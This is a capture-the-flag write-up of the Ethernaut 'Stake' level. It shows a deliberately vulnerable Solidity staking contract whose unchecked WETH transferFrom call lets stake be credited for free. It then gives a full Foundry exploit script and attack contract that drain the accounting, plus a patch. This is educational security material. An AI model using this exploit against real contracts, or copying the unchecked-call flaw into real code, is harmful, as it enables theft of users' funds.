Ethernaut-31-Stake
Challenge
Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?
To complete this level, the contract state must meet the following conditions:
The
Stake
contract's ETH balance has to be greater than 0.totalStaked
must be greater than theStake
contract's ETH balance.You must be a staker.
Your staked balance must be 0.
Things that might be useful:
ERC-20 specification.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
Solve
The challenge doesn't give us the source code of WETH
, so let’s optimistically assume it is a bug-free ERC20 contract.
First, let’s try to decode the function selector to the function signature:
cast 4byte 0xdd62ed3e
=> "allowance(address,address)"
cast 4byte 0x23b872dd
=> "transferFrom(address,address,uint256)"
There’s a vulnerability in StakeWETH(uint256 amount)
function: it does not check whether the external call is successful or failed.
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSignature("allowance(address,address)", msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
//@audit does not check `transfered` is true!
(bool transfered, ) = WETH.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
Therefore, StakeWETH(uint256 amount)
function does not check whether msg.sender
really has some WETH
to stake, but only requires msg.sender
to approve enough WETH
for the Stake
contract.
From this point, now we know we can:
Add
totalStaked
to arbitrary uint256 value.Add
UserStake[msg.sender]
to arbitrary uint256 value.Make any addresses as
Stakers
.
Then we can start brain-storming our exploit code:
Use player EOA wallet:
Call
StakeETH{value: 0.001 ether + 1 wei}()
✅ The
Stake
contract's ETH balance has to be greater than 0.
❌totalStaked
must be greater than theStake
contract's ETH balance.
✅ You must be a staker.
❌ Your staked balance must be 0.Call
Unstake(0.001 ether + 1 wei)
❌ The
Stake
contract's ETH balance has to be greater than 0.
❌totalStaked
must be greater than theStake
contract's ETH balance.
✅ You must be a staker.
✅ Your staked balance must be 0.
Use Attack contract:
Call
StakeWETH(0.001 ether + 1 wei)
Must call
WETH.approve(Stake, type(uint256).max)
before callingStakeWETH()
.
❌ TheStake
contract's ETH balance has to be greater than 0.
✅totalStaked
must be greater than theStake
contract's ETH balance.
✅ You must be a staker.
✅ Your staked balance must be 0.Call
StakeETH{value: 0.001 ether + 1 wei + 1 wei}()
✅ The
Stake
contract's ETH balance has to be greater than 0.
✅totalStaked
must be greater than theStake
contract's ETH balance.
✅ You must be a staker.
✅ Your staked balance must be 0.(Optional) Call
Unstake(0.001 ether + 1 wei)
&selfdestruct(tx.origin)
Just don’t want to waste my test ETH….
Full solution code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
contract Solver is Script {
address stake = vm.envAddress("STAKE_INSTANCE");
address weth = vm.envAddress("WETH_INSTANCE");
function setUp() public {}
function run() public {
vm.startBroadcast(vm.envUint("PRIV_KEY"));
stake.call{value: 0.001 ether + 1}(abi.encodeWithSignature("StakeETH()"));
stake.call(abi.encodeWithSignature("Unstake(uint256)", 0.001 ether + 1));
Hack hack = new Hack(stake, weth);
hack.pwn{value: 0.001 ether + 2}();
vm.stopBroadcast();
}
}
contract Hack {
address stake;
address weth;
constructor(address _stake, address _weth) {
stake = _stake;
weth = _weth;
}
function pwn() external payable {
weth.call(abi.encodeWithSignature("approve(address,uint256)", stake, type(uint256).max));
stake.call(abi.encodeWithSignature("StakeWETH(uint256)", 0.001 ether + 1));
stake.call{value: 0.001 ether + 2}(abi.encodeWithSignature("StakeETH()"));
stake.call(abi.encodeWithSignature("Unstake(uint256)", 0.001 ether));
}
receive() external payable {
selfdestruct(payable(tx.origin));
}
}
forge script script/Ethernaut31-Stake.s.sol:Solver --evm-version cancun -f $RPC_OP_SEPOLIA --broadcast
Potential Patches
Always checking .call()
's return value.
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSignature("allowance(address,address)", msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender,address(this),amount));
require(transfered, 'transfer failed'); //@patch
Stakers[msg.sender] = true;
return transfered;
}
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣